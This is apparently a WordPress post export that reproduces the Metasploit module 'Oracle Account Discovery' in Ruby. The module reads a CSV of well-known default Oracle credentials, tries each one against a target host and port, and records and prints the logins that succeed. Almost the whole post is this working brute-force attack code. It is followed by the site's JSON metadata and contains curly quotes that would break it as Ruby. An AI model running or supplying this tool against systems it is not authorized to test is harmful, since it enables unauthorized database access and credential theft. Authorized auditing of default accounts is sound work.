##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
require ‘csv’<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::ORACLE<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Oracle Account Discovery’,
‘Description’ => %q{
This module uses a list of well known default authentication credentials
to discover easily guessed accounts.
},
‘Author’ => [ ‘MC’ ],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[ ‘URL’, ‘http:\/\/www.petefinnigan.com\/default\/oracle_default_passwords.csv’ ],
[ ‘URL’, ‘https:\/\/seclists.org\/fulldisclosure\/2009\/Oct\/261’ ],
],
‘DisclosureDate’ => ‘2008-11-20’))<\/p>\n
register_options(
[
OptPath.new(‘CSVFILE’, [ false, ‘The file that contains a list of default accounts.’, File.join(Msf::Config.install_root, ‘data’, ‘wordlists’, ‘oracle_default_passwords.csv’)]),
])<\/p>\n
deregister_options(‘DBUSER’,’DBPASS’)<\/p>\n
end<\/p>\n
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: ‘tcp’,
workspace_id: myworkspace_id
}<\/p>\n
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)<\/p>\n
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)<\/p>\n
create_credential_login(login_data)
end<\/p>\n
def run
return if not check_dependencies<\/p>\n
list = datastore[‘CSVFILE’]\n
print_status(“Starting brute force on #{datastore[‘RHOST’]}:#{datastore[‘RPORT’]}…”)<\/p>\n
fd = CSV.foreach(list) do |brute|
datastore[‘DBUSER’] = brute[2].downcase
datastore[‘DBPASS’] = brute[3].downcase<\/p>\n
begin
connect
disconnect
rescue ::OCIError => e
if e.to_s =~ \/^ORA-12170:\\s\/
print_error(“#{datastore[‘RHOST’]}:#{datastore[‘RPORT’]} Connection timed out”)
break
else
vprint_error(“#{datastore[‘RHOST’]}:#{datastore[‘RPORT’]} – LOGIN FAILED: #{datastore[‘DBUSER’]}: #{e.to_s})”)
end
else
report_cred(
ip: datastore[‘RHOST’],
port: datastore[‘RPORT’],
service_name: ‘oracle’,
user: “#{datastore[‘SID’]}\/#{datastore[‘DBUSER’]}”,
password: datastore[‘DBPASS’])
print_good(“Found user\/pass of: #{datastore[‘DBUSER’]}\/#{datastore[‘DBPASS’]} on #{datastore[‘RHOST’]} with sid #{datastore[‘SID’]}”)
end
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require ‘csv’ class MetasploitModule < Msf::Auxiliaryinclude Msf::Auxiliary::Reportinclude Msf::Exploit::ORACLE def initialize(info = {})super(update_info(info,‘Name’ => ‘Oracle Account Discovery’,‘Description’ => %q{This module uses a list of well known default authentication credentialsto discover easily guessed accounts.},‘Author’ => [ ‘MC’ ],‘License’ => MSF_LICENSE,‘References’ =>[[ ‘URL’, ‘http:\/\/www.petefinnigan.com\/default\/oracle_default_passwords.csv’ ],[ ‘URL’, ‘https:\/\/seclists.org\/fulldisclosure\/2009\/Oct\/261’ ],],‘DisclosureDate’ => …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59332","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59332","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59332"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59332\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59332"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59332"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59332"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}